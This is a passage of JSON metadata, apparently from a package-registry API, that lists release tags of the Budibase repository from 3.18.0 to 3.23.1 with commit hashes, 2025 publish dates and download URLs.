ps://github.com/Budibase/budibase/releases/tag/3.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.1/manifests"},{"name":"3.23.0","sha":"29b918351d795cd9d5ad006fc8a0aba4e6abf8c9","kind":"commit","published_at":"2025-10-29T10:43:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.0/manifests"},{"name":"3.22.7","sha":"7af3b22e19aaaa39cdfe42eb79e6fad0f7d346ee","kind":"commit","published_at":"2025-10-28T16:01:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.22.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.22.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.22.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.7/manifests"},{"name":"3.22.6","sha":"ea089cbe541961b0ebd8fbdf8438804fd3acb300","kind":"commit","published_at":"2025-10-28T12:01:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.22.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.22.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.22.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.6/manifests"},{"name":"3.22.5","sha":"2fdea9e46189ed78eff6c7500768b3c04a1c7d63","kind":"commit","published_at":"2025-10-28T10:31:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.22.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.22.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.22.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.5/manifests"},{"name":"3.22.4","sha":"783b97519d4310df61a31938e15010645e7ce67c","kind":"commit","published_at":"2025-10-24T14:13:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.22.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.22.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.22.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.4/manifests"},{"name":"3.22.3","sha":"91055b0ee58f8181f33d9fc57c157cba54f7e72c","kind":"commit","published_at":"2025-10-23T21:05:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.22.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.22.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.22.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.3/manifests"},{"name":"3.22.2","sha":"bcd7ca03af583862818dc21a1b32e83ee497ab16","kind":"commit","published_at":"2025-10-23T11:34:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.22.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.22.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.22.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.2/manifests"},{"name":"3.22.1","sha":"73d64361a56089851ee842c8100a61a8457d35c6","kind":"commit","published_at":"2025-10-23T10:09:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.22.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.1/manifests"},{"name":"3.22.0","sha":"b81a81da1ba5440d40fffcbf2256bc021b3c3142","kind":"commit","published_at":"2025-10-23T08:29:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.22.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.22.0/manifests"},{"name":"3.21.3","sha":"840c8da2aa62d82a24c591e72d43737703344691","kind":"commit","published_at":"2025-10-22T13:24:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.21.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.21.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.21.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.21.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.21.3/manifests"},{"name":"3.21.2","sha":"18a77674f6964202dbb1f061b827760605e6873d","kind":"commit","published_at":"2025-10-21T16:35:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.21.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.21.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.21.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.21.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.21.2/manifests"},{"name":"3.21.1","sha":"c6fe2bb4b747445aff86ca709262ba64132e5507","kind":"commit","published_at":"2025-10-17T12:26:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.21.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.21.1/manifests"},{"name":"3.21.0","sha":"308db2d0195e2e21ccc78df567c0a1ecfb1d6c07","kind":"commit","published_at":"2025-10-16T12:47:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.21.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.21.0/manifests"},{"name":"3.20.15","sha":"3993d7da860e06b725ce5b212c6bbe343df1779f","kind":"commit","published_at":"2025-10-15T12:30:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.15","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.15/manifests"},{"name":"3.20.14","sha":"c0b698399bfe00e0885baf11364efc9cd24d26cc","kind":"commit","published_at":"2025-10-14T15:55:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.14","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.14/manifests"},{"name":"3.20.13","sha":"0430a91db836ebf46506781187abf9e7f5771c57","kind":"commit","published_at":"2025-10-14T07:00:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.13","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.13/manifests"},{"name":"3.20.12","sha":"2cb160a1169605f25499b5bd7066de7eed347f5f","kind":"commit","published_at":"2025-10-10T11:57:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.12","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.12/manifests"},{"name":"3.20.11","sha":"1c0dbdb7804726f738cad267854bf272b577666c","kind":"commit","published_at":"2025-10-09T15:25:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.11","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.11/manifests"},{"name":"3.20.10","sha":"508930bd42034e76785cf752dabcf7af0569be24","kind":"commit","published_at":"2025-10-08T16:34:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.10","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.10/manifests"},{"name":"3.20.9","sha":"00b78a122606aad94e1fecbb612798e8821b34e3","kind":"commit","published_at":"2025-10-03T15:36:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.9/manifests"},{"name":"3.20.8","sha":"c461b3f2a552cc8579609f87fa033c93ae0934c9","kind":"commit","published_at":"2025-10-03T11:43:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.8/manifests"},{"name":"3.20.7","sha":"88aeb07dcc6d1178a4cad54dc1efbfa1178a7d2b","kind":"commit","published_at":"2025-10-03T11:15:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.7/manifests"},{"name":"3.20.6","sha":"0602d6883dda680eac70e1d2556a7a09c0718e4b","kind":"commit","published_at":"2025-10-01T13:09:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.6/manifests"},{"name":"3.20.5","sha":"7a1a84a1e595c022878bb64920030ac200d948f5","kind":"commit","published_at":"2025-10-01T10:44:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.5/manifests"},{"name":"3.20.4","sha":"708bbe82e9964fd23f18dca9f8c74ffb375af2fa","kind":"commit","published_at":"2025-09-30T09:32:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.4/manifests"},{"name":"3.20.3","sha":"022b8504beb9f917dfd183170a00c7a40fcb2663","kind":"commit","published_at":"2025-09-26T10:57:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.3/manifests"},{"name":"3.20.2","sha":"a452842d26b58ab3b40789e6b9ead9b726dbb4b6","kind":"commit","published_at":"2025-09-25T07:29:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.2/manifests"},{"name":"3.20.1","sha":"25fdeab0859be961675061809605ebb00660fa30","kind":"commit","published_at":"2025-09-24T09:40:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.1/manifests"},{"name":"3.20.0","sha":"d66218b2251fdc513c5518684abba22d447f9d5d","kind":"commit","published_at":"2025-09-23T14:52:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.20.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.20.0/manifests"},{"name":"3.19.2","sha":"f31536d0fc1019d18f26a547caf20189de6feee2","kind":"commit","published_at":"2025-09-23T08:52:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.19.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.19.2/manifests"},{"name":"3.19.1","sha":"0e3196e77395c120428b82567175b0a173251336","kind":"commit","published_at":"2025-09-19T14:21:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.19.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.19.1/manifests"},{"name":"3.19.0","sha":"9c38494224efea908fbd8f734975a52ce926eba2","kind":"commit","published_at":"2025-09-19T08:01:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.19.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.19.0/manifests"},{"name":"3.18.15","sha":"49658f2bc38ccd1cd8a8f66a5db6e7e593b1c603","kind":"commit","published_at":"2025-09-17T07:50:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.15","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.15/manifests"},{"name":"3.18.14","sha":"94ae0fb397ade488a3c7f63a144628efd502a8eb","kind":"commit","published_at":"2025-09-16T07:32:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.14","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.14/manifests"},{"name":"3.18.13","sha":"dfd92f72f26b039b89515bb5e03e13dc61b530f8","kind":"commit","published_at":"2025-09-15T11:33:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.13","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.13/manifests"},{"name":"3.18.12","sha":"c85e6a1f13b6ae7629523b5d887b514898fdb494","kind":"commit","published_at":"2025-09-15T08:09:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.12","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.12/manifests"},{"name":"3.18.11","sha":"9cb8bc8fe934883480456bfc6e604f19c9e47980","kind":"commit","published_at":"2025-09-11T16:10:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.11","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.11/manifests"},{"name":"3.18.10","sha":"f0434f1a117ba92d770324dcfb7c38b5126f7872","kind":"commit","published_at":"2025-09-10T10:39:49.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.10","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.10/manifests"},{"name":"3.18.9","sha":"829417f9815252180b72af293a4d81fb2591683b","kind":"commit","published_at":"2025-09-08T17:22:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.9/manifests"},{"name":"3.18.8","sha":"f64623cb79c1b1edbfd2ac8563d89fbdf932349e","kind":"commit","published_at":"2025-09-08T16:17:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.8/manifests"},{"name":"3.18.7","sha":"d0799b7d0d17cf7d594ea1888fc1a7943c1d227e","kind":"commit","published_at":"2025-09-08T14:44:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.7/manifests"},{"name":"3.18.6","sha":"e777870133ded2f9e92837a0769f05bf88aa107d","kind":"commit","published_at":"2025-09-08T13:53:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.6/manifests"},{"name":"3.18.5","sha":"2dc7c73fb1962fdb5ef82b3d2a854a03520def3d","kind":"commit","published_at":"2025-09-05T09:28:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.5/manifests"},{"name":"3.18.4","sha":"6a4aaad52be59660f3cb4205a7709509f5f5a968","kind":"commit","published_at":"2025-09-04T13:44:20.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.4/manifests"},{"name":"3.18.3","sha":"8a9813cad54459833558461983d67c3b87883dcc","kind":"commit","published_at":"2025-09-04T06:41:01.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.3/manifests"},{"name":"3.18.2","sha":"9625cf90f807e9b9bc4daadfe1d918eb17e63857","kind":"commit","published_at":"2025-09-02T10:23:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.2/manifests"},{"name":"3.18.1","sha":"954f7c31b2d8a1fb87800847767a75fd7bb7f05b","kind":"commit","published_at":"2025-08-29T07:48:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.1/manifests"},{"name":"3.18.0","s